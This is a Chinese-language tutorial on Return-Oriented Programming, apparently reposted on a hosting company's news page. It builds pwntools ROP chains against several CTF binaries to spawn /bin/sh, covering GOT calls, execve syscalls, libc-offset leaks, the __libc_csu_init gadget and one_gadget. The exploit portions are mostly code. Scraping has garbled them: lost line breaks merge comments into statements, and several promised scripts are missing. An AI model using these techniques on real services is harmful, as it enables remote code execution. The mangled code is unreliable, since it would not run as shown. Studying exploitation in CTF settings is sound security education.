什么是ROP技术

什么是ROP技术，相信很多没有经验的人对此束手无策，为此本文总结了问题出现的原因和解决方法，通过这篇文章希望你能解决这个问题。

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0x00 背景

显然，如果某一页内存没有可写(W)属性，我们就无法向里面写入代码，如果没有可执行(X)属性，写入到内存页中的shellcode就无法执行。关于这个特性的实验在此不做展开，大家可以尝试在调试时修改EIP和read()/scanf()/gets()等函数的参数来观察操作无对应属性内存的结果。那么我们怎么看某个ELF文件中是否有RWX内存页呢？首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S

或者同上一篇教程中的方法，使用pwntools自带的checksec命令检查程序是否带有RWX段。当然，由于程序可能在运行中调用mprotect(), mmap()等函数动态修改或分配具有RWX属性的内存页，以上方法均可能存在误差。

既然攻击者们能想到在RWX段内存页中写入shellcode并执行，防御者们也能想到，因此，一种名为NX位（No eXecute bit）的技术出现了。这是一种在CPU上实现的安全技术，这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页（如栈和堆）上的数据无法被当成指令执行，即没有X属性。由于该保护方式的使用，之前直接向内存中写入shellcode执行的方式显然失去了作用。因此，我们就需要学习一种著名的绕过技术——ROP（Return-Oriented Programming, 返回导向编程）

顾名思义，ROP就是使用返回指令ret连接代码的一种技术（同理还可以使用jmp系列指令和call指令，有时候也会对应地成为JOP/COP）。一个程序中必然会存在函数，而有函数就会有ret指令。我们知道，ret指令的本质是pop eip，即把当前栈顶的内容作为内存地址进行跳转。而ROP就是利用栈溢出在栈上布置一系列内存地址，每个内存地址对应一个gadget，即以ret/jmp/call等指令结尾的一小段汇编指令，通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区，肯定可以执行，而我们在栈上写入的只是内存地址，属于数据，所以这种方式可以有效绕过NX保护。

0x01 使用ROP调用got表中函数

首先我们来看一个x86下的简单ROP，我们将通过这里例子演示如何调用一个存在于got表中的函数并控制其参数。我们打开~/RedHat 2017-pwn1/pwn1。可以很明显看到main函数存在栈溢出：

变量v1的首地址在bp-28h处，即变量在栈上，而输入使用的__isoc99_scanf不限制长度，因此我们的过长输入将会造成栈溢出。

程序开启了NX保护，所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路，我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和”/bin/sh”呢？

第一个问题，我们知道使用动态链接的程序导入库函数的话，我们可以在GOT表和PLT表中找到函数对应的项（稍后的文章中我们将详细解释）。跳转到.got.plt段，我们发现程序里居然导入了system函数。

解决了第一个问题之后我们就需要考虑第二个问题。通过对程序的搜索我们没有发现字符串“/bin/sh”，但是程序里有__isoc99_scanf，我们可以调用这个函数来读取”/bin/sh”字符串到进程内存中。下面我们来开始构建ROP链。

首先我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段，我们看到0x0804a030开始有个可读可写的大于8字节的地址，且该地址不受ASLR影响，我们可以考虑把字符串读到这里。接下来我们找到__isoc99_scanf的另一个参数“%s”，位于0x08048629

接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址，PLT表中有一段stub代码，将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道，对于x86的应用程序来说，其参数从右往左入栈。因此，现在我们就可以构建出一个ROP链。
`from pwn import *

context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)

shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr

print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”) 我们来测试一下。 通过调试我们可以看到，当EIP指向retn时，栈上的数据和我们的预想一样，栈顶是plt表中__isoc99_scanf的首地址，紧接着是两个参数。 ![](data/attachment/album/201807/06/113538drglfgfgrrlmrtry.png) 我们继续跟进执行，在libc中执行一会儿之后，我们收到了一个错误 ![](data/attachment/album/201807/06/113544p5333t7qe797qgbt.png) 这是为什么呢？我们回顾一下之前的内容。我们知道call指令会将call指令的下一条指令地址压入栈中，当被call调用的函数运行结束后，ret指令就会取出被call指令压入栈中的地址传输给EIP。但是在这里我们绕过call直接调用了__isoc99_scanf，没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着scanf_addr的format_s，而第一个参数就变成了binsh_addr`
call调用函数的情况

08048557  mov   [esp+4], eax0804855B  mov   dword ptr [esp], offset unk_8048629                
08048562  call    ___isoc99_scanf                
08048567  lea     eax, [esp+18h]

从两种调用方式的比较上我们可以看到，由于少了call指令的压栈操作，如果我们在布置栈的时候不模拟出一个压入栈中的地址，被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述，我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数，我们让__isoc99_scanf执行完后再次返回到main函数开头，以便于再执行一次栈溢出。改良后的ROP链如下：我们再次进行调试，发现这回成功调用__isoc99_scanf把”/bin/sh”字符串读取到地址0x0804a030处

此时程序再次从main函数开始执行。由于栈的状态发生了改变，我们需要重新计算溢出的字节数。然后再次利用ROP链调用system执行system(“/bin/sh”)，这个ROP链可以模仿上一个写出来，完整的脚本也可以在对应文件夹中找到，此处不再赘述。

接下来让我们来看看64位下如何使用ROP调用got表中的函数。我们打开文件~/bugs bunny ctf 2017-pwn150/pwn150，很容易就可以发现溢出出现在Hello()里和上一个例子一样，由于程序开启了NX保护，我们必须找到system函数和”/bin/sh”字符串。程序在main函数中调用了自己定义的一个叫today的函数，执行了system(“/bin/date”)，那么system函数就有了。至于”/bin/sh”字符串，虽然程序中没有，但是我们找到了”sh”字符串，利用这个字符串其实也可以开shell

OK，现在我们有了栈溢出点，有了system函数，有了字符串”sh”，可以尝试开shell了。首先我们要解决传参数的问题。和x86不同，在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9，多出来的参数才会入栈（根据调用约定的方式可能有不同，通常是这样），因此，我们就需要一个给RDI赋值的办法。由于我们可以控制栈，根据ROP的思想，我们需要找到的就是pop rdi; ret，前半段用于赋值rdi，后半段用于跳到其他代码片段。

有很多工具可以帮我们找到ROP gadget，例如pwntools自带的ROP类，ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget（https://github.com/JonathanSalwan/ROPgadget）

通过ROPgadget --binary 指定二进制文件，使用grep在输出的所有gadgets中寻找需要的片段这里有一个小trick。首先，我们看一下IDA中这个地址的内容是什么。我们可以发现并没有0x400883这个地址，0x400882是pop r15, 接下来就是0x400884的retn，那么这个pop rdi会不会是因为ROPgadget出bug了呢？别急，我们选择0x400882，按快捷键D转换成数据。然后选择0x400883按C转换成代码

我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行，能被转成合法的opcode，跳转过去都是不会有问题的。

现在我们已经准备好了所有东西，可以开始构建ROP链了。这回我们直接调用call system指令，省去了手动往栈上补返回地址的环节，脚本如下：进行调试，发现开shell成功。retn跳转到0x400883处的gadget：pop rdi; retpop rdi将”sh”字符串所在地址0x4003ef赋值给rdi

retn跳转到call system处

0x02 使用ROP调用int 80h/syscall
在上一节中，我们接触到了一种最简单的使用ROP的场景。但是现实的情况是很多情况下目标程序并不会导入system函数。在这种情况下我们就需要通过其他方法达到目标。在这一节中我们首先学习的是通过ROP调用int 80h/syscall
关于int 80h/syscall，在上一篇文章的《系统调用》一节中已经做了介绍，现在我们来看例子~/Tamu CTF 2018-pwn5/pwn5.这个程序的主要功能在print_beginning()实现。这个函数有大量的puts()和printf()输出提示，要求我们输入first_name, last_name和major三个字符串到三个全局变量里，然后选择是否加入Corps of Cadets。不管选是还是否都会进入一个差不多的函数我们可以看到只有选择选项2才会调用函数change_major()，其他选项都只是打印出一些内容。进入change_major()后，我们发现了一个栈溢出：发现了溢出点后，我们就可以开始构思怎么getshell了。就像开头说的那样，这个程序里找不到system函数。但是我们用ROPGadget --binary pwn5 | grep “int 0x80”找到了一个可用的gadget回顾一下上一篇文章，我们知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve调用，同样可以用来开shell，这个系统调用需要设置5个寄存器，其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我们可以在前面输入到地址固定的全局变量中。接下来我们就要通过ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。pop eax; pop ebx; pop esi; pop edi; retpop edx; pop ecx; pop ebx; ret构建ROP链和脚本如下：调试时发现执行失败了，ROP链并没有被读进去

这是为什么呢？

我们输出payload后发现0x080150a里面有两个0x0a，即“\n”在输入的时候，我们会使用回车键”\n”代表输入结束，显然这边也是受到了这个控制字符的影响，因此我们需要重新挑选gadgets。我们把gadget换成这一条修改脚本发现成功getshell

0x03 从给定的libc中寻找gadget

有时候pwn题目也会提供一个pwn环境里对应版本的libc。在这种情况下，我们就可以通过泄露出某个在libc中的内容在内存中的实际地址，通过计算偏移来获取system和“/bin/sh”的地址并调用。这一节的例子是~/Security Fest CTF 2016-tvstation/tvstation. 这是一个比较简单的题目，题目中除了显示出来的三个选项之外还有一个隐藏的选项4，选项4会直接打印出system函数在内存中的首地址：从IDA中我们可以看到打印完地址后执行了函数debug_func()，进入函数debug_func()之后我们发现了溢出点由于这个题目给了libc，且我们已经泄露出了system的内存地址。使用命令readelf -a 查看libc.so.6_x64

从这张图上我们可以看出来.text节（Section）属于第一个LOAD段（Segment），这个段的文件长度和内存长度是一样的，也就是说所有的代码都是原样映射到内存中，代码之间的相对偏移是不会改变的。由于前面的PHDR, INTERP两个段也是原样映射，所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。如：

在这个libc中system函数首地址是0x456a0，即从文件的开头数0x456a0个字节到达system函数

调试程序，发现system在内存中的地址是0x7fb5c8c266a00x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬

根据这个事实，我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址，从而以此跳转到其他函数的首地址并执行。

在libc中存在字符串”/bin/sh”，该字符串位于.data节，根据同样的原理我们也可以得知这个字符串距libc首地址的偏移

还有用来传参的gadget :pop rdi; ret据此我们可以构建脚本如下

#!/usr/bin/python#coding:utf-8from pwn import *

io = remote('172.17.0.2', 10001)

io.recvuntil(": ")
io.sendline('4')                                        #跳转到隐藏选项io.recvuntil("@0x")
system_addr = int(io.recv(12), 16)        #读取输出的system函数在内存中的地址libc_start = system_addr - 0x456a0        #根据偏移计算libc在内存中的首地址pop_rdi_addr = libc_start + 0x1fd7a        #pop rdi; ret 在内存中的地址，给system函数传参binsh_addr = libc_start + 0x18ac40        #"/bin/sh"字符串在内存中的地址payload = ""payload += 'A'*40                                        #paddingpayload += p64(pop_rdi_addr)                #pop rdi; retpayload += p64(binsh_addr)                        #system函数参数payload += p64(system_addr)                        #调用system()执行system("/bin/sh")io.sendline(payload)

io.interactive()

0x04 一些特殊的gadgets

这一节主要介绍两个特殊的gadgets。第一个gadget经常被称作通用gadgets，通常位于x64的ELF程序中的__libc_csu_init中，如下图所示：这张图片里包含了两个gadget，分别是

我们知道在x64的ELF程序中向函数传参，通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈，以上三段gadgets中，第一段可以设置r12-r15，接上第三段使用已经设置的寄存器设置rdi, 接上第二段设置rsi, rdx, rbx，最后利用r12+rbx*8可以call任意一个地址。在找gadgets出现困难时，可以利用这个gadgets快速构造ROP链。需要注意的是，用万能gadgets的时候需要设置rbp=1，因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0，从而使r12+rbx*8 = r12，所以call指令结束后rbx必然会变成1。若此时rbp != 1，jnz会再次进行call，从而可能引起段错误。那么这段gadgets怎么用呢？我们来看一下例子~/LCTF 2016-pwn100/pwn100

这个例子提供了libc，溢出点很明显，位于0x40063d我们需要做的就是泄露一个got表中函数的地址，然后计算偏移调用system。前面的代码很简单，我们就不做介绍了

#!/usr/bin/python#coding:utf-8from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

start_addr = 0x400550pop_rdi = 0x400763universal_gadget1 = 0x40075a           #万能gadget1：pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retnuniversal_gadget2 = 0x400740        #万能gadget2：mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]binsh_addr = 0x60107c                        #bss放了STDIN和STDOUT的FILE结构体，修改会导致程序崩溃payload = "A"*72                                #paddingpayload += p64(pop_rdi)                        #payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr)                #跳转到start，恢复栈payload = payload.ljust(200, "B")        #paddingio.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0log.info("system_addr = %#x", system_addr)

为了演示万能gadgets的使用，我们选择再次通过调用read函数读取/bin/sh\x00字符串，而不是直接使用偏移。首先我们根据万能gadgets布置好栈

payload = "A"*72                        #padding
payload += p64(universal_gadget1)        #万能gadget1
payload += p64(0)                        #rbx = 0payload += p64(1)                        #rbp = 1，过掉后面万能gadget2的call返回后的判断
payload += p64(read_got)        #r12 = got表中read函数项，里面是read函数的真正地址，直接通过call调用
payload += p64(8)                        #r13 = 8，read函数读取的字节数，万能gadget2赋值给rdxpayload += p64(binsh_addr)        #r14 = read函数读取/bin/sh保存的地址，万能gadget2赋值给rsipayload += p64(0)                        #r15 = 0，read函数的参数fd，即STDIN，万能gadget2赋值给edipayload += p64(universal_gadget2)        #万能gadget2

我们是不是应该直接在payload后面接上返回地址呢？不，我们回头看一下universal_gadget2的执行流程

由于我们的构造，上面的那块代码只会执行一次，然后流程就将跳转到下面的loc_400756，这一系列操作将会抬升8*7共56字节的栈空间，因此我们还需要提供56个字节的垃圾数据进行填充，然后再拼接上retn要跳转的地址。

payload += '\x00'*56                #万能gadget2后接判断语句，过掉之后是万能gadget1，用于填充栈payload += p64(start_addr)        #跳转到start，恢复栈payload = payload.ljust(200, "B")        #padding接下来就是常规操作getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00")                #上面的一段payload调用了read函数读取"/bin/sh\x00"，这里发送字符串payload = "A"*72                                #paddingpayload += p64(pop_rdi)                        #给system函数传参payload += p64(binsh_addr)                #rdi = &("/bin/sh\x00")payload += p64(system_addr)                #调用system函数执行system("/bin/sh")payload = payload.ljust(200, "B")        #paddingio.send(payload)
io.interactive()

我们介绍的第二个gadget通常被称为one gadget RCE，顾名思义，通过一个gadget远程执行代码，即getshell。我们通过例子~/TJCTF 2016-oneshot/oneshot演示一下这个gadget的威力。
要利用这个gadget，我们需要一个对应环境的libc和一个工具one_gadget(https://github.com/david942j/one_gadget)。这个程序没有栈溢出，其代码非常简单

从红框中的代码我们看到地址rbp+var_8被作为__isoc99_scanf的第二个参数赋值给rsi，即输入被保存在这里。随后rbp+var_8中的内容被赋值给rax，又被赋值给rdx，最后通过call rdx执行。也就是说我们输入一个数字，这个数字会被当成地址使用call调用。由于只能控制4字节，我们就需要用到one gadget RCE来一步getshell。我们通过one_gadget找到一些gadget：我们看到这些gadget有约束条件。我们选择第一条，要求rax=0。我们构建脚本进行调试：

#!/usr/bin/python#coding:utf-8from pwn import *

one_gadget_rce = 0x45526#one_gadget libc.so.6_x64#0x45526        execve("/bin/sh", rsp+0x30, environ)#constraints:#  rax == NULLsetbuf_addr = 0x77f50        
setbuf_got = 0x600ae0io = remote("172.17.0.2", 10001)

io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16)        #通过打印got表中setbuf项的内容泄露setbuf在内存中的首地址io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))        #通过偏移计算one_gadget_rce在内存中的地址io.interactive()

执行到call rdx时rax = 0

getshell成功

看完上述内容，你们掌握什么是ROP技术的方法了吗？如果还想学到更多技能或想了解更多相关内容，欢迎关注创新互联行业资讯频道，感谢各位的阅读！